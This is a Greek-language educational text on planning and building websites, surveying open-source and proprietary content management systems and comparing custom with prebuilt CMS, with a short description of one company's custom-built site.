Όσον αφορά στη μορφοποίηση του κειμένου, μπορεί να γίνει μέσω ειδικών στοιχείων της HTML, τα οποία σχεδιάστηκαν για την εμφάνιση ειδικών τύπων κειμένου, όπως έντονο (bold) κείμενο, σημαντικό (important) κείμενο, πλάγιο (italic), τονισμένο (emphasized), μικρό (small), υποσημειώσεις (subscript), κ.α. Η πλήρης λίστα των στοιχείων μορφοποίησης κειμένου όπως φαίνεται παρακάτω.

Εκπαιδευτική Υποενότητα 5.3 Εργαλεία Κατασκευής Ιστοσελίδων Ο σκοπός του σχεδιασμού στο Διαδίκτυο είναι πολυσύνθετος αλλά βασικός κατά την εφαρμογή του. Πριν τη δημιουργία και το «ανέβασμα» μιας ιστοσελίδας είναι σημαντικό να σχεδιαστεί ακριβώς ότι είναι αναγκαίο για την ιστοσελίδα. Είναι πολύ σημαντικό να αποφασιστούν, το κοινό στο οποίο θα απευθύνεται, ο σκοπός της δημιουργίας της και το περιεχόμενο της.

Τα τέσσερα στάδια δημιουργίας ενός website Φάση ανάλυσης 1. Ανάλυση και κατανόηση των αναγκών: ποιοι είναι οι στόχοι του website; 2. Λειτουργική ανάλυση: ποια είναι η μορφή και η λειτουργία των εφαρμογών στο website και ανάλογα με το ρόλο του χρήστη (διαχειριστής, επισκέπτης, αγοραστής…); 3. Ανάλυση της αρχιτεκτονικής των πληροφοριών και της εργονομίας: πώς είναι οργανωμένο το περιεχόμενο στο website; Πώς ανταποκρίνεται αυτή η ιεράρχηση στις ανάγκες του επισκέπτη; Φάση υλοποίησης Η φάση αυτή περιλαμβάνει τον προγραμματισμό και την ανάπτυξη των σελίδων (pages) του website, την ανάπτυξη του εικαστικού θέματος και άλλων, κατά περίπτωση, δημιουργικών στοιχείων

(ήχος,

video

κτλ.)

τη

«μετάφραση»

του

περιεχομένου

σε

γλώσσα

προγραμματισμού (π.χ. κώδικα HTML) και την ενσωμάτωση των στοιχείων στο εργαλείο διαχείρισης περιεχομένου, αν είναι απαραίτητο. Δοκιμή και έναρξη παραγωγής Η φάση αυτή διασφαλίζει την καλή λειτουργία της τοποθεσίας, τόσο στο ορατό τμήμα της (παράδειγμα: σελίδες και εφαρμογές που χρησιμοποιεί ο χρήστης) όσο και στο αόρατο τμήμα της (παράδειγμα: εργαλείο διαχείρισης περιεχομένου). Παράλληλα με την εργασία του τεχνικού που θα κάνει τις δοκιμές, η τελική δοκιμή μπορεί να γίνει με τη βοήθεια ενός πάνελ χρηστών, που θα είναι αντιπροσωπευτικό της ομάδας-στόχος στην οποία απευθύνεται η διαδικτυακή τοποθεσία. Ανάλογα με τα δικά τους σχόλια, μπορούν να γίνουν οι τελευταίες προσαρμογές πριν βγει στον «αέρα» το website, δηλαδή τα επίσημα «εγκαίνιά» του στο Internet. Συντήρηση και ενημέρωση Αφού η τοποθεσία «ανέβει» στο Internet, θα πρέπει να ενημερώνεται, να προστίθενται νέες λειτουργίες αν είναι απαραίτητο, καθώς και να διορθώνονται τα ενδεχόμενα σφάλματα που δεν εντοπίστηκαν στη φάση των δοκιμών. Με λίγα λόγια: μια διαδικτυακή τοποθεσία πρέπει να παραμένει «ζωντανή» μετά τη δημοσίευσή της. Είναι προφανές, ότι η παραγωγή ενός website δεν μπορεί να αποτελεί πλέον έργο ενός τεχνικού υπολογιστών.

Χρειάζεται τις υπηρεσίες διαφόρων ειδικών: γραφίστες, σχεδιαστές εργονομίας, προγραμματιστές, τεχνικούς δοκιμών, ειδικούς πνευματικών δικαιωμάτων κ.λπ. Ένας από τους βασικότερους παράγοντες για τη δημιουργία ενός website είναι η καλή συνεργασία αυτών των ειδικών στο πλαίσιο της ίδιας ομάδας. Παραγωγή ενός website: τα σωστά ερωτήματα Αυτό το εγχειρίδιο δυστυχώς δεν μπορεί να αποτελέσει εξαντλητικό οδηγό αναφορικά με τη διαχείριση της παραγωγής ενός website. Εδώ σας προτείνουμε ορισμένες ιδέες για σκέψη όταν πρόκειται να δημιουργήσετε ένα καινούριο website ή να ανανεώσετε ένα ήδη υπάρχον website. 1. Να δημιουργηθεί μια σχέση με τον επισκέπτη, ζητώντας του, για παράδειγμα, τη διεύθυνση ηλεκτρονικού ταχυδρομείου για να του αποσταλεί, στη συνέχεια, ένα ενημερωτικό δελτίο. 2. Να περιοριστούν ορισμένα κόστη (παράδειγμα: κλήσεις στο τηλεφωνικό κέντρο) διευκολύνοντας την προσπέλαση ορισμένων τύπων πληροφοριών. 3. Να γίνει μια συναλλαγή με τον καταναλωτή, καθώς θα έχει τη δυνατότητα να αγοράσει μέσω Διαδικτύου ένα αγαθό ή μια υπηρεσία. 4. Να δημιουργηθεί μια προθήκη αξιολόγησης της εταιρείας, των προϊόντων σας ή των υπηρεσιών σας. 5. Αφού προσδιοριστεί ο στόχος, στη συνέχεια θα πρέπει να προσδιορίσετε τις παραμέτρους εκείνες που θα σας διασφαλίσουν την επιτυχία του website σας: αριθμό επισκεπτών, αριθμό τακτικών επισκεπτών, ενημέρωση των μηχανών αναζήτησης, μετατροπή (conversion) του επισκέπτη σε πελάτη ή σε συνδρομητή του ενημερωτικού δελτίου, όγκος πωλήσεων, επανάληψη αγορών από τον ίδιο πελάτη... Με άλλα λόγια, πρέπει να προσδιοριστούν οι δείκτες που θα καθορίσουν την απόδοση της επένδυσης στο έργο (ROI - Return on Investment). Η διαδικασία αυτή προβλέπει, μεταξύ άλλων, τη χρήση ενός εργαλείου μέτρησης επισκεψιμότητας (Web Analytics). 6. Πόσες γλώσσες υποστηρίζονται στην τοποθεσία; Το εργαλείο CMS επιτρέπει την εύκολη διαχείριση όλων αυτών; •

Ποιους τύπους περιεχομένου θα πρέπει να μπορεί να διαχειρίζεται το εργαλείο CMS: κείμενο, βίντεο, φωτογραφίες…;

•

Το εργαλείο CMS επιτρέπει την εύκολη αλλαγή των «meta-tag» μιας σελίδας, προκειμένου να είναι εύκολη η καταχώρησή της (indexing) από τις μηχανές αναζήτησης (search engines);

7.

Είναι δυνατή η προσθήκη νέων ενοτήτων στο εργαλείο CMS: ενημερωτικό δελτίο, φόρουμ, ενότητα ηλεκτρονικού εμπορίου κτλ. •

Το εργαλείο CMS απαιτεί γνώσεις κώδικα HTML ή μπορείτε να εργαστείτε σε βάση «WYSIWTG» (What you see is what you get - αυτό που βλέπετε αυτό παίρνετε), όπως σε λογισμικό επεξεργασίας κειμένου;

8. Ποια είναι η διαδικασία δημοσίευσης μιας νέας σελίδας στην τοποθεσία; •

Ποια είναι τα διάφορα στάδια έγκρισης του περιεχομένου («content workflow») από τους υπευθύνους;

9. Η διαδικτυακή τοποθεσία επικεντρώνεται αποκλειστικά στη διαχείριση περιεχομένου ή μπορεί να ενσωματωθεί σε μια σειρά άλλων εργαλείων (CRM, ERP…); 10. Ποιο πρέπει να είναι το επίπεδο ασφαλείας των πληροφοριών; 11. Ποιο είναι το επίπεδο υπηρεσιών που θα πρέπει να διασφαλιστεί; To website αποτελεί πλέον business critical εφαρμογή, η κακή λειτουργία της οποίας μπορεί να κοστίσει χιλιάδες ή και εκατομμύρια ευρώ στον κάτοχό της. Για τον λόγο αυτό, χρήσιμο θα είναι να συνάψετε μια «σύμβαση επιπέδου παρεχόμενων υπηρεσιών» με τον συνεργάτη που θα αναλάβει την υλοποίηση. Αυτός ο τελευταίος θα πρέπει λοιπόν να σεβαστεί ορισμένα κριτήρια απόδοσης, τα οποία θα προσδιορίσετε από κοινού. Παράδειγμα: σε περίπτωση που η τοποθεσία θα βρεθεί εκτός λειτουργίας, εντός ποιου χρονικού διαστήματος θα πρέπει ο συνεργάτης να εντοπίσει και να λύσει το πρόβλημα;

Εισαγωγή Συστήματα Διαχείρισης Περιεχομένου Ο όρος Content Management Systems (CMS) αρχικά χρησιμοποιήθηκε για να δηλώσει τα συστήματα δημοσίευσης ιστοσελίδων στο Διαδίκτυο γενικότερα, καθώς επίσης και για τα προγράμματα διαχείρισης περιεχομένου ευρύτερα. Τα πρώτα Συστήματα Διαχείρισης Περιεχομένου αναπτύσσονταν εσωτερικά στους οργανισμούς από το τεχνικό τους τμήμα, καθώς ήταν απαραίτητα για την δημοσιοποίηση ενός μεγάλου όγκου υλικού, από ηλεκτρονικά περιοδικά και εφημερίδες των επιχειρήσεων μέχρι την δημοσίευση και αποστολή των εταιρικών newsletters. Το 1995, η εταιρία CNET αποφάσισε να επεκτείνει το εσωτερικό σύστημα διαχείρισης περιεχομένου, που χρησιμοποιούσε, για την δημοσίευση ηλεκτρονικού υλικού και να δημιουργήσει την ξεχωριστή εταιρία Vignette.

Στόχος της ήταν να εκμεταλλευτεί εμπορικά τα CMS. Στην διάρκεια της δεκαετίας που ακολούθησε η αγορά εξελίχτηκε και σήμερα υπολογίζεται ότι υπάρχουν περί τις 500 εφαρμογές CMS κάθε είδους. Η αγορά εξελίσσεται συνεχώς αναγκάζοντας τους οργανισμούς να ενημερώνονται συνεχώς για τις εξελίξεις και να μετακινούνται στα συστήματα, που πλέον καλύπτουν ακόμη περισσότερο τις ανάγκες τους. Τα Συστήματα Διαχείρισης Περιεχομένου (ΣΔΠ, Content Management Systems, CMS) είναι διαδικτυακές εφαρμογές που επιτρέπουν την online τροποποίηση του περιεχομένου ενός δικτυακού τόπου. Οι διαχειριστές μέσω του διαδικτύου ενημερώνουν το περιεχόμενο στο ΣΔΠ, το οποίο είναι εγκατεστημένο σ’ένα διακομιστή. Οι αλλαγές αυτές γίνονται αυτόματα διαθέσιμες πάλι μέσω του διαδικτύου, σε όλους τους επισκέπτες και χρήστες του δικτυακού τόπου. Επιχειρησιακά συστήματα διαχείρισης περιεχομένου Ένα επιχειρησιακό σύστημα διαχείρισης περιεχομένου (ECMS - Enterprise Content Management System), ασχολείται με το περιεχόμενο, τα έγγραφα, τα στοιχεία και τα παραστατικά που σχετίζονται με τις οργανωτικές διαδικασίες μιας επιχείρησης. Ο σκοπός και το αποτέλεσμα είναι να διαχειρίζεται το περιεχόμενο και τις αδόμητες πληροφορίες του οργανισμού, με όλες τους τις ποικιλίες μορφής και τοποθεσίας Συστήματα διαχείρισης περιεχομένου ιστού Η διαχείριση περιεχομένου ιστοσελίδων (WCM) είναι ένα σύστημα CMS σχεδιασμένο για να απλοποιήσει τη δημοσίευση του δικτυακού περιεχομένου των web sites και των κινητών συσκευών, μεταξύ άλλων, επιτρέπει στους δημιουργούς περιεχομένου να υποβάλουν περιεχόμενο χωρίς να απαιτεί τεχνική γνώση HTML ή μεταφόρτωση των αρχείων. Πολλά web-based συστήματα διαχείρισης περιεχομένου υφίστανται τόσο Ανοιχτού Κώδικα όσο και με εμπορικά κατοχυρωμένα πνευματικά δικαιώματα. Ωστόσο, αυτός είναι ένας τομέας στον οποίο το OSS (Open Source Software) έχει αποκτήσει δεσπόζουσα θέση έναντι των ιδιοκτησιακής μορφής ομολόγων του. Σύστημα διαχείρισης περιεχομένου εξαρτημάτων λογισμικού (Component) Χρησιμοποιώντας ένα στοιχείο του συστήματος διαχείρισης περιεχομένου, το περιεχόμενο αποθηκεύεται και αποτελεί αντικείμενο διαχείρισης σε επίπεδο υπό-εγγράφου (ή εξαρτήματος), για μεγαλύτερη επαναχρησιμοποίηση του περιεχομένου. Ανοικτού ή Κλειστού κώδικα CMS:

Τα Συστήματα διαχείρισης περιεχομένου χωρίζονται σε αυτά του ανοιχτού κώδικα (open source) και αυτά του κλειστού κώδικα (closed source ή custom). Διαφορές ανάμεσα σε κλειστού και ανοιχτού κώδικα CMS: Ανοιχτού κώδικα CMS · SEO friendly · Ευχρηστία · Χαμηλό κόστος, καθώς δεν απαιτείται ιδιαίτερη δουλειά από πλευράς development · Γρήγορο στην υλοποίηση

Διαφορές ανάμεσα σε κλειστού και ανοιχτού κώδικα CMS · Πολλά λειτουργικά λάθη, τα λεγόμενα στην ορολογία των developers “bugs”, έχουν διορθωθεί καθώς ο κώδικας είναι προσβάσιμος από τον καθένα και η εκτεταμένη χρήση τους έχει φέρει πολλές φορές τους developers αντιμέτωπους με προβλήματα τα οποία καλούνται να επιλύσουν · Ένα σφάλμα ασφαλείας θα παρατηρηθεί άμεσα και θα προσπαθήσουν εκατομμύρια προγραμματιστές εντός λίγων ωρών να το λύσουν. Mερικά από τα πιο δημοφιλή CMS ανοιχτού κώδικα. 1 Joomla Το Joomla είναι ένα ελεύθερο και ανοικτού κώδικα σύστημα διαχείρισης περιεχομένου. Χρησιμοποιείται για τη δημοσίευση περιεχομένου στον παγκόσμιο ιστό (World Wide Web) και σε τοπικά δίκτυα - intranets. Είναι γραμμένο σε PHP και αποθηκεύει τα δεδομένα του στη βάση MySQL. Το βασικό χαρακτηριστικό του είναι ότι οι σελίδες που εμφανίζει είναι δυναμικές,

δηλαδή

δημιουργούνται

την

στιγμή

που

ζητούνται.

Ένα

σύστημα

διακομιστή(server) όπως είναι ο Apache λαμβάνει τις αιτήσεις των χρηστών και τις εξυπηρετεί. Το Joomla μπορεί να χρησιμοποιηθεί κυρίως για: ό Προσωπικές ιστοσελίδες ό Ιστοσελίδες για εταιρείες με μικρές ή μέτριες ανάγκες Directories

ό Μικρά φόρουμ συζητήσεων ό Έχει αξιοπρεπές shopping cart (virtuemart), το οποίο είναι δωρεάν. Wordpress Το WordPress είναι ελεύθερο και ανοικτού κώδικα λογισμικό ιστολογίου και πλατφόρμα δημοσιεύσεων, γραμμένο σε PHP και MySQL. Συχνά τροποποιείται για χρήση ως Σύστημα διαχείρισης περιεχομένου (ΣΠΔ ή CMS) . Έχει πολλές δυνατότητες, συμπεριλαμβανομένων μιας αρχιτεκτονικής για πρόσθετες λειτουργίες, και ενός συστήματος προτύπων. Το WordPress χρησιμοποιείται σε περισσότερα από το 14% των 1.000.000 μεγαλύτερων ιστότοπων. Κυκλοφόρησε για πρώτη φορά στις 27 Μαΐου 2003, από τον Matt Mullenweg ως παραλλαγή του b2/cafelog. Από τον Φεβρουάριο του 2011, η έκδοση 3.0 έχει ληφθεί περισσότερες από 32,5 εκατομμύρια φορές. Το WordPress μπορεί να χρησιμοποιηθεί κυρίως για: ό Προσωπικά - μικρά blogs ενώ με τα κατάλληλα plugins αποτελεί καλή λύση για μέτριου μεγέθους portals ή blogs. ό Μικρά φόρουμ συζητήσεων ό Ιστοσελίδες εταιρικές με μικρές ανάγκες. Drupal Το Drupal είναι ένα αρθρωτό σύστημα διαχείρισης περιεχομένου (Content Management System, CMS) ανοικτού/ελεύθερου λογισμικού, γραμμένο στη γλώσσα προγραμματισμού PHP. Το Drupal, όπως πολλά σύγχρονα CMS, επιτρέπει στο διαχειριστή συστήματος να οργανώνει το περιεχόμενο, να προσαρμόζει την παρουσίαση, να αυτοματοποιεί διαχειριστικές εργασίες και να διαχειρίζεται τους επισκέπτες του ιστότοπου και αυτούς που συνεισφέρουν. Παρόλο που υπάρχει μια πολύπλοκη προγραμματιστική διεπαφή, οι περισσότερες εργασίες μπορούν να γίνουν με λίγο ή και καθόλου προγραμματισμό. Το Drupal ορισμένες φορές περιγράφεται ως «υποδομή για εφαρμογές ιστού», καθώς οι δυνατότητές του προχωρούν παραπέρα από τη διαχείριση περιεχομένου, επιτρέποντας ένα μεγάλο εύρος υπηρεσιών και συναλλαγών. Magento

Το Magento είναι μία open source e-commerce web εφαρμογή που ξεκίνησε στις 31 Μαρτίου 2008, με το όνομα Bento. Αναπτύχθηκε από την Varien (τώρα το Magento είναι ένα τμήμα του eBay) με τη βοήθεια προγραμματιστών της κοινότητας ανοιχτού κώδικα, αλλά τώρα ανήκει αποκλειστικά και μόνο από στην eBay Inc Το Magento δημιουργήθηκε χρησιμοποιώντας τμήματα του Zend-Framework. Χρησιμοποιεί την οντότητα-χαρακτηριστικό-αξία (EAV) μοντέλο δεδομένων για την αποθήκευση δεδομένων. Η πλατφόρμα του Magento παρέχει την επεκτασιμότητα, ευελιξία και δυνατότητα για την επιχειρηματική ανάπτυξη. Με αυτή έχετε πλήρη ευελιξία και έλεγχο της παρουσίασης, του περιεχομένου και της λειτουργικότητας των e-shops. Τον Νοέμβριο του 2013, η W3Techs εκτιμά ότι το Magento χρησιμοποιήθηκε από 0,9% του συνόλου των ιστοχώρων. Moodle Το Moodle (Modular Object Oriented Developmental Learning Environment) είναι ελεύθερο λογισμικό διαχείρισης μαθημάτων (Course Management System), ένα σύστημα διαχείρισης μάθησης Learning Management System (LMS) ή ένα σύστημα εικονικής μάθησης (Virtual Learning Environment - VLE), ή πιο απλά ένα πακέτο λογισμικού για τη διεξαγωγή ηλεκτρονικών μαθημάτων μέσω Διαδικτύου, που προσφέρει ολοκληρωμένες υπηρεσίες Ασύγχρονης Τηλεκπαίδευσης. Δημιουργήθηκε το 1999 από τον Αυστραλό Martin Dougiamas ως τμήμα του PhD του και σύμφωνα με αυτόν, έχει δημιουργηθεί πάνω στη φιλοσοφία του κοινωνικού δομητισμού. Το Moodle παρέχεται δωρεάν ως ελεύθερο λογισμικό-λογισμικό ανοικτού κώδικα (κάτω από την GNU Public License) και μπορεί να τρέξει σε οποιοδήποτε σύστημα που στηρίζει PHP, ενώ έχει τη δυνατότητα να συνδυάζεται με πολλούς τύπους βάσεων δεδομένων (ιδιαίτερα MySQL). Χρησιμοποιείται κυρίως για τις ανάγκες της ασύγχρονης

τηλεκπαίδευσης.

Μέχρι

στιγμής

έχει

περισσότερους

από

200.000

εγγεγραμμένους χρήστες και διατίθεται μεταφρασμένο σε περισσότερες από 75 γλώσσες. Κλειστού κώδικα CMS · Προσφέρει στο χρήστη μια διαχείριση που ανταποκρίνεται ακριβώς στις ανάγκες του, είναι μοναδικό καθώς έχει σχεδιαστεί και υλοποιηθεί αποκλειστικά με βάση τις προδιαγραφές της ιστοσελίδας.

· Υπάρχουν λιγότερες πιθανότητες να συμβεί μια κακόβουλη επίθεση σε αυτό καθώς ο κώδικας του δεν είναι προσβάσιμος, όμως μπορεί να μην παρατηρηθεί μέχρι να κάνει καταστροφή και όταν αυτή γίνει είσαι εξαρτημένος από τους προγραμματιστές που το κατασκεύασαν. Μερικά από τα ποιο δημοφιλή CMS κλειστού κώδικα: 1. vignette content management Η Vignette είναι μια εταιρεία που έχει ως κύριο στόχο τη μείωση του κόστους των επιχειρήσεων, την αύξηση της παραγωγικότητας και στη βελτίωση της εμπειρίας του χρήστη. Σήμερα πολλές εταιρείες ευελπιστούν να δώσουν καινοτόμες λύσεις σε τέτοιους τομείς. Η λύσεις που παρέχονται από την εταιρεία αυτή στον τομέα της διαχείρισης περιεχομένου web συμπεριλαμβάνουν Portal integration, higher level content management που αποδίδει σημαντικά πλεονεκτήματα. 2. IBM workplace web content management Αυτό το προϊόν παρέχει μια ευρεία γκάμα λειτουργιών όπως: personalization, το web content management, η διαχείριση εγγράφων και οι λειτουργίες συνεργασίας και παραγωγικότητας στα πλαίσια της επεκτάσιμης υποδομής του WebShere Portal. 3. Dynamicweb Είναι προϊόν της Dynamicweb Software Ltd η οποία εξειδικεύεται στην παροχή web-based λύσεις λογισμικού για την επαγγελματική αγορά. Όλα τα προϊόντα είναι modular και έχουν επεκταθεί εύκολα για να ταιριάζουν στις ανάγκες των πελατών. Η Dynamicweb Software Ltd αναπτύσσει τρία κύρια προϊόντα Synkron Via, Dynamicweb ηλεκτρονικού εμπορίου και Dynamicweb CMS. Το Dynamicweb CMS είναι ένα πολυγλωσσικό και φιλικό Σύστημα Διαχείρισης Περιεχομένου (CMS), το οποίο μπορεί να χρησιμοποιηθεί για τη διαχείριση του περιεχομένου στους δικτυακούς τόπους, extranets και Intranets. Βασίζεται στην τεχνολογία Microsoft .NET και έχει επιλεχθεί σε περισσότερες από 3.000 εταιρίες και Οργανισμούς σε διάφορες χώρες. (Iterating, 2009). 4. Jalios JCMS Η γαλλική εταιρεία Jalios που εξειδικεύεται σε web based λύσεις προϊόντων ανέπτυξε το JCMS που περιλαμβάνει αρκετά γνωστά χαρακτηριστικά των CMS όπως διαχείριση

περιεχομένου, εγγράφων, διασύνδεση, πύλες και πολλά άλλα. Αποτελεί μια αξιοπρεπή λύση για CMS επί πληρωμή από μια εταιρεία εξειδικευμένη σε αυτό. 5. powerfront cms Το PowerFront παρέχει μια ολοκληρωμένη λύση διαχείρισης περιεχομένου που μπορεί να περιλαμβάνει: τη διαχείριση περιεχομένου, τον σχεδιασμό ιστοσελίδων, θέματα ασφάλειας, το ηλεκτρονικό εμπόριο, procurement, reporting options και υποστήριξη. Στόχος της είναι η υποστήριξη ιστοσελίδων των επιχειρήσεων, intranets, extranets ή procurement websites.

Κατηγορίες CMS 1. Enterprise content management systems: Διαχειρίζεται περιεχόμενο, έγγραφα, και εγγραφές σχετικές με τις οργανωτικές δομές μιας επιχείρησης. 2. Document management systems: Διαχείριση και οργάνωση εγγράφων. 3. Learning content management system: Διαχείριση προγραμμάτων εκπαίδευσης, τάξεων, online events, προγραμμάτων ηλεκτρονικής μάθησης, εκπαιδευτικού περιεχομένου. 4. Web content management systems: Διευκολύνει την οργάνωση, την δημιουργία και την διαχείριση των εγγράφων και άλλων περιεχομένων σε μια ιστοσελίδα. 5. powerfront cms: Το PowerFront παρέχει μια ολοκληρωμένη λύση διαχείρισης περιεχομένου που μπορεί να περιλαμβάνει: τη διαχείριση περιεχομένου, τον σχεδιασμό ιστοσελίδων, θέματα ασφάλειας, το ηλεκτρονικό εμπόριο, procurement, reporting options και υποστήριξη. Στόχος της είναι η υποστήριξη ιστοσελίδων των επιχειρήσεων, intranets, extranets ή procurement websites. Περιγραφή των CMS Είναι ένα διαδικτυακό σύστημα διαχείρισης περιεχομένου. Χρησιμοποιείται για τη δημοσίευση περιεχομένου στον παγκόσμιο ιστό ή σε τοπικά δίκτυα. Ο κώδικας του λογισμικού είναι σε γλώσσα PHP και για την αποθήκευση των δεδομένων χρησιμοποιεί βάση MySQL. Χαρακτηριστική λειτουργία του είναι η εμφάνιση δυναμικών ιστοσελίδων. Για τη λειτουργία του απαιτείται ένα σύστημα εξυπηρετητή όπως είναι ο Apache, ο οποίος εξυπηρετεί τις αιτήσεις που λαμβάνει από τους χρήστες. Η λήψη των δεδομένων γίνεται με αποστολή ερωτημάτων προς τη βάση, ακολουθεί η μορφοποίηση τους και τέλος η αποστολή στον εκάστοτε φυλλομετρητή του χρήστη. Το custom σύστημα διαχείρισης μπορεί να παρέχει ότι επιθυμεί ο πελάτης γιατί κατασκευάζεται εξολοκλήρου από την αρχή και βασίζεται στις ανάγκες κάθε πελάτη. Επίσης μπορεί να κατασκευαστεί σε όσες γλώσσες ο πελάτης επιθυμεί

Συνοπτικά, αναφέρονται ορισμένες δυνατότητες: Το περιεχόμενο στον ιστότοπο μπορεί να ενημερωθεί ή να αλλάξει από οποιονδήποτε υπολογιστή που διαθέτει σύνδεση στο διαδίκτυο. Όσοι μπορούν να συμβάλλουν στην επεξεργασία του περιεχομένου μπορούν να συνεργαστούν χωρίς να χρειάζεται να έχουν ιδιαίτερες γνώσεις. Οι συνεργάτες μπορούν να δημοσιεύσουν περιεχόμενο, σε πλαίσιο συγκεκριμένο που δεν ξεπερνά τις αρμοδιότητες τους. Δεν υπάρχουν περιορισμοί στη δημοσίευση των ιστοσελίδων, ενώ η αναζήτηση συγκεκριμένου περιεχομένου και η αρχειοθέτηση είναι πολύ απλές διαδικασίες. Μερικά από τα βασικά χαρακτηριστικά είναι: · Πλήρης μηχανισμός διαχείρισης της βάσης δεδομένων του site, άρθρα, προϊόντα ή υπηρεσίες και ενότητες πλήρως επεξεργάσιμα και εύχρηστα. Οι θεματικές ενότητες μπορούν να προστεθούν από τους συντάκτες. · Πλήρως παραμετροποιημένο περιεχόμενο. Χρησιμοποιείστε τον browser για να ανεβάσετε εικόνες για χρήση στο site. · Εκτεταμένη Διαχείριση Λειτουργία ταξινόμησης της προβολής των κατηγοριών. Δημοσίευση απεριόριστων σελίδων. Εξατομικευμένο Vs προκατασκευασμένο CMS (Joomla,Drupal , WordPress) Υπάρχουν πολλά που πρέπει να λάβει κανείς υπόψιν του όταν πρόκεται να αποφασίσει σχετικά με ένα CMS. Το πρώτο και σημαντικότερο είναι αν χρησιμοποιήσει ένα ήδη υπάρχον προκατασκευασμένο CMS (WordPress, Drupal, Expression Engine κλπ) ή αν φτιάξει ένα δικό του εξατομικευμένο. Υπάρχουν πολλά πλεονεκτήματα και στα 2 και ο μόνος τρόπος για να διαλέξει κανείς την καταλληλότερη λύση , είναι να ξέρει τις ανάγκες του site και με ποιο θα τις εξυπηρετούσε καλύτερα. Τόσο το εξατομικευμένο, όσο και το προκατασκευασμένο CMS προσφέρουν παρόμοια οφέλη χωρίς ιδιαίτερους περιορισμούς και επομένως ο προϋπολογισμός είναι ο καθοριστικός παράγοντας για την απόφαση που παίρνει κανείς ανάμεσα στα δύο. Καθώς λοιπόν μελετούμε τις επιλογές, προσπαθούμε να αποφασίσουμε , με ποιο από τα δυο θα πραγματοποιηθεί ο σκοπός μας και θα ικανοποιηθούν καλύτερα οι ανάγκες μας, σε συνδυασμό με το χαμηλότερο κόστος.

Εφαρμογή Το πρώτο που μας απασχολεί είναι αν και κατά ποσο θα χρειαστούμε μια εξατομικευμένη εφαρμογή στο website. Αν αυτό χρειάζεται ιδαίτερη λειτουργικότητα, τότε ένα εξατομικευμένο CMS είναι η σωστότερη επιλογή. Με ένα προκατασκευασμένο CMS το προϊόν εμφάνισης θα ακολουθεί τα ήδη υπάρχοντα πρωτόκολλα και αρχιτεκτονική όταν φτιάχνεται το site και η δική σας εφαρμογή και φυσικά θα διαρκέσει πολύ περισσότερο από ο,τι αν φτιάχνατε κάτι χωρίς αρχιτεκτονικούς περιορισμούς. Το εξατομικευμένο CMS δεν περιορίζεται από κανόνες του προκατασκευασμένου και επιτρέπει να αναπτυχθεί το περιεχόμενο του

website όπως επιθυμούμε. Τα

προκατασκευασμένα CMS έχουν πολλά plug-ins τα οποια επεκτείνουν τη λειτουργικότητα, αλλα αν αυτό για το οποιο ενδιαφέρεσαι είναι κάτι καινούριο στο internet, τότε το εξατομικευμένο CMS μάλλον είναι μια καλύτερη λύση μακροπρόθεσμα. Χρήστες Χρηστες ονομάζουμε αυτούς που θα διαχειρίζονται το CMS και οι δύο παράμετροι που μας ενδιαφέρουν είναι, ο αριθμός χρηστών και το επίπεδο των δεξιοτήτων/ γνώσεων τους.Κάθε CMS χειρίζεται χρηστες και ρόλους διαφορετικά, αν έχετε έναν οργανισμό με πολλές βαθμίδες και με πολύ περιγραφική διαδικασία ροής εργασιών, το εξατομικευμένο CMS είναι ίσως καλύτερη επιλογή. Το προκατασκευασμένο CMS έχει συγκεκριμένους ρόλους για τους χρηστες και μερικά ποικίλλουν όσο αφορά το πόση εξατομίκευση επιδέχονται,. Έτσι αναγκάζεστε να προσαρμόσετε την δικη σας ροή εργασιών σύμφωνα με το λογισμικό και όχι το αντίθετο. Ένα εξατομικευμένο CMS επιτρέπει στους χρήστες και στο ρόλο τους, να κινηθούν γύρω από τη δικη σας ροή εργασιών, παρέχει σαφήνεια και κατανοητικότητα και επιταχύνει την αποδοχή και τον ενστερνισμό του νέου website. Χρήστες Το δεύτερο μέρος αυτού του παράγοντα είναι το κατά ποσο ‘προχωρημένοι’ είναι οι χρηστες. Εάν δεν πρόκειται για προχωρημένους τότε το κάθε ένα από τα δύο έχει τα πλεονεκτήματα του, ενώ εκπαίδευση θα χρειαστεί και στις δύο περιπτώσεις CMS. Το πλεονέκτημα ενός εξατομικευμένου CMS θα είναι η προσαρμογή της ταξονομίας ή των ετικετών που θα

μπορούσαν

να

βοηθήσουν

τους

χρήστες

να

αναγνωρίσουν

ενέργειες

και

δεδομένα,χρησιμοποιώντας ένα οικείο λεξιλόγιο σε αυτούς. Για παράδειγμα, αν δημοσιεύεται ‘’ανακοινώσεις τύπου’’ θα επιθυμούσατε το κουμπί μέσα στο CMS να λέει ‘’ανακοινωθέντα τύπου’’ αντί για ‘’posts’’( δημοσιεύσεις). Ένα προκατασκευασμένο CMS έχει ήδη εκ ορισμού προκαθορισμένες ονομασίες για όλες τις λειτουργίες και τα κουμπιά. Επίσης περιλαμβάνει στάνταρ λέξεις όπως “themes”, “modules”, ή “plug-ins” , που μπορεί ή να αποπροσανατολίζουν ως προς τη χρήση δεδομένων σας ή να φαίνονται παράξενα σε σχέση m αυτήν. Το να χρησιμοποιείς τίτλους διεπαφής οικείους προς τους χρηστες, μπορεί να αποτελέσει μέγιστο παράγοντα για την επιτυχία του site. Ενημερώσεις/ updates Υπάρχει μεγάλη διαφορά ανάμεσα στις δύο επιλογές ως προς την αναβάθμιση του κώδικα. Το να χρησιμοποιείς ένα εξατομικευμένο CMS , σημαίνει ότι φτιάχτηκε μια φορα και συγκεκριμένα για τις δικές σου απαιτήσεις. Σπανια και σίγουρα όχι δωρεάν θα γίνει αναβάθμιση του κώδικα του CMS. Αν επιθυμεί κάποιος να προστεθούν νέες επιλογές και λειτουργίες θα πρέπει η πληρώσει τον σχεδιαστή του λογισμικού. Τα προκατασκευασμένα CMS διαρκώς αναβαθμίζονται, προσφέροντας νέα χαρακτηριστικά, plug-ins, θέματα και επιλογές. Κάτι τέτοιο βοηθάει το CMS να γίνει μια πιο ραφινάτη( εκλεπτυσμένη, λεπτομερής) δουλειά και επίσης η πλειοψηφία των αναβαθμίσεων είναι εντελώς δωρεάν. Ιστοσελίδα www.metalinox.gr Η Ιστοσελίδα www.metalinox.gr έχει υλοποιηθεί με εξατομικευμένο σύστημα διαχείρησης (Custom CMS) και όπως βλέπουμε και στην παραπάνω εικόνα, η αρχική μας σελίδα, αποτελείται από: 1. Header 2. Top Menu 3. Slideshow 4. Vertical menu 5. Footer

